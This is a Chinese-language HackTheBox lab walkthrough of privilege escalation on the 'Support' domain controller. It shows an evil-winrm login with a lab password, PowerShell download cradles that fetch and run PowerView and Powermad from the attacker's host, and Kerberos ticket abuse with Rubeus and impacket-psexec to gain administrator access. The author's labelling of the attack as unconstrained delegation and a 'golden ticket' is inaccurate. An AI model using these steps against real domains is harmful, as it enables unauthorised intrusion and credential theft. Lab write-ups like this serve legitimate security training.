HackTheBox:Support(下)


提权

开始尝试进入系统:

evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

image-20230218001607946

进入系统之后,我们在打开 Bloodhound。找到 support@support.htb 这个用户。

image-20230218001741554

通过该工具,可以看到,是可以提权的。

所以,开始提权:

image-20230218001829908

这边显示有一个 GenericAll 相关的漏洞,是关于域之间的委派发生的漏洞。具体文章可参考:https://zhuanlan.zhihu.com/p/476094695

这篇文章介绍的很详细,简单来说就是,域之间为了方便管理,给域组成员账号设置成非约束委派,非约束委派有一个问题,那就是当域管理账号访问该主机的时候,会留下票据。可以用该票据进行提权攻击,也就是所说的黄金票据。

话不多说,开始共计,攻击前,需要进行一些准备:

  1. 准备一个 PowerViwe.ps1 脚本(https://github.com/PowerShellMafia/PowerSploit
  2. 准备一个 powermad.ps1 脚本(https://github.com/Kevin-Robertson/Powermad
  3. 准备 Rubeus.exe(https://github.com/Flangvik/SharpCollection

准备完毕之后,开始 http‘服务:

python3 -m http.server

image-20230218002847776

准备完毕之后,进入靶机系统,开始下载:

先进入 programdata 目录,该目录是 win 系统中存放数据的,一般是有写入权限的。

进入之后:

curl 10.10.14.3:8000/Rubeus.exe -o Rubeus.exe IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.14.3:8000/PowerViwe.ps1’); IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.14.3:8000/Powermad.ps1’);

image-20230218003504397

接下来打开 bloodhound,直接复制粘贴,不过有几个地方需要稍微改动一下。

image-20230218003627591

image-20230218003958121

image-20230218004211778

image-20230218004350975

得到 adminstrator 的票据:

image-20230218004432599

复制下来之后,回到 kali。

image-20230218004628098

将其解码,输入到 ticket.kirbi 文件中。

通过该票据得到 cache。

impacket-ticketConverter ticket.kirbi ticket.ccache KRB5CCNAME=ticket.ccache impacket-psexec -k -no-pass support.htb/administrator@dc.support.htb

在通过该 cache 进入系统,得到 root。

image-20230218010424846

因为系统突然卡了,导致这个靶机重启了。。。需要再重新做一遍,这里就不浪费时间了。。。


looch 2023年2月18日 01:06 收藏文档